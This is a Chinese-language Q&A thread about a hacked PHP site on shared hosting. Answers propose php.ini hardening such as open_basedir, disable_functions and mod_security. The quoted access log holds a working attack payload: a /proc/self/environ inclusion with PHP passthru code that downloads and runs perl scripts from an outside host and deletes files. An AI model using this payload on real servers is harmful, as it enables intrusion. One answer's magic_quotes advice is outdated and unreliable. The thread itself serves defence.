我在共享主机服务器(heartinternet)上受到攻击,他们说我应该php.ini
正确配置自己的文件。
嗯,我有一个带有注册功能的小型 php/MySQL 程序,一个小型管理网站,但是有人破解了它。
配置php.ini
文件的一般方法是什么,才能防止此类攻击?任何好的设置都将不胜感激。
以下是我从网络托管服务提供商处获得的信息:
121.254.216.170 - - [12/Sep/2011:05:21:07 +0100] "GET /?p=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 5806 "-" "<?php echo \"j13mb0t#\"; passthru('wget http://some.thesome.com/etc/byz.jpg? -O /tmp/cmd548;cd /tmp;lwp-download http ://some . thesome . com/etc/cup.txt;perl cup.txt;rm -rf *.txt*;wget
http ://some . thesome . com/etc/update.txt;perl update.txt;rm -rf *.txt*'); echo \"#j13mb0t\"; ?>"
由于脚本注入攻击的是网站代码本身,因此它能够完全避开网络服务器的安全。不幸的是,一些内容管理系统(尤其是旧版本的 Joomla)极易受到这种形式的攻击。
一个简单的方法来消除攻击者使用此方法的能力是在网站的顶层添加一个 php.ini 文件,其中包含以下内容 - 但请注意,网站之后需要进行测试,以确保没有合法的网站脚本操作受到更改的影响:
php.ini 指令是...
allow_url_include = "0"
allow_url_fopen = "0"
答案1
目前尚不清楚这两个指令是否能阻止这次攻击。这次攻击的工作方式不是通过include()
ing 或fopen()
ing 远程 URL,而是依靠能够欺骗您的代码include()
ing /proc/self/environ
,这是一个包含进程环境变量的文件。请求使用实际的漏洞代码毒害了这些环境变量,而实际的漏洞下载并执行了一个执行肮脏工作的 perl 脚本。
建立open_basedir允许你的代码只打开特定目录中的文件的设置将会被阻止这攻击,但一般来说,根据用户输入执行脚本的程序无需非常严格的控制有几十种方式受到攻击,特别是如果它们允许用户上传图片等内容。
保持网站代码更新也很重要。特别是因为这个漏洞至少从 1999 年就开始影响 Joomla。去年三月
答案2
什么时候也可以通过使用来预防magic_quotes_gpc = 开启并且在您的 php.ini 中设置 magic_quotes_runtime = On 。因此,对于发送的 GET、POST 和 cookies,会自动转义所有 ' (单引号)、" (双引号)、\ (反斜杠) 和 NUL,并使用反斜杠。
答案3
如果你正在问如何防止这种攻击,你需要禁用的是直通php.ini 中的函数。如果您有权限加载自定义 php.ini,则可以通过将相应的函数放入 php 禁用函数列表中来禁用一些危险的 php 函数,例如 exec(除非您的脚本需要它)。
disable_functions=passthru,exec,phpinfo
这里没有特定的禁用函数集可供使用(如果有,那么 php 开发人员永远不会将其包含在 php 中 :))。这完全取决于您使用和不使用的 php 函数。因此,请参阅 php 手册,并将任何调用您站点脚本中未使用的 php 函数的系统命令/函数添加到 disable_functions 列表中。
另外,请您的主机安装和配置mod_security这不仅可以保护您的域,还可以保护共享环境中的其他人。mod_security 是一款出色的 Web 应用程序防火墙,可帮助您保护网站免受多种 Web 攻击,包括 html 注入、sql 注入、XSS 攻击等。根据给出的攻击详细信息,攻击者正在将 perl 脚本上传到 /tmp,这很可能对整个服务器的威胁而不仅限于您的域名/帐户。